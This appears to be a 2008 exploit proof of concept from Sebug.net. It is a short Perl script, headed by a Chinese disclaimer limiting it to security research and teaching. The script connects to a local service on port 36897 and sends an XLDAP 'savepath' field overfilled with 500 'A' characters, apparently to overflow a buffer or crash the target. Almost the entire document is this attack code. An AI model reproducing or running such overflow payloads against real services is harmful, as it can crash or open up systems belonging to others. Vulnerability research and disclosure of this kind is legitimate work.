[www.sebug.net]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
#!/usr/bin/perl
use IO::Socket;
if ($socket = IO::Socket::INET->new(PeerAddr => “127.0.0.1″,PeerPort => “36897″,Proto => “TCP”))
{
$exploit = “XLDAP|savepath|”.
# (”A” x 397).
(”A” x 500).
“|XLDAP”;
print $socket $exploit;
sleep(1);
close($socket);
}
else
{
print “Cannot connect to localhost:36897 port\n”;
}
// Sebug.net [ 2008-05-11 ] |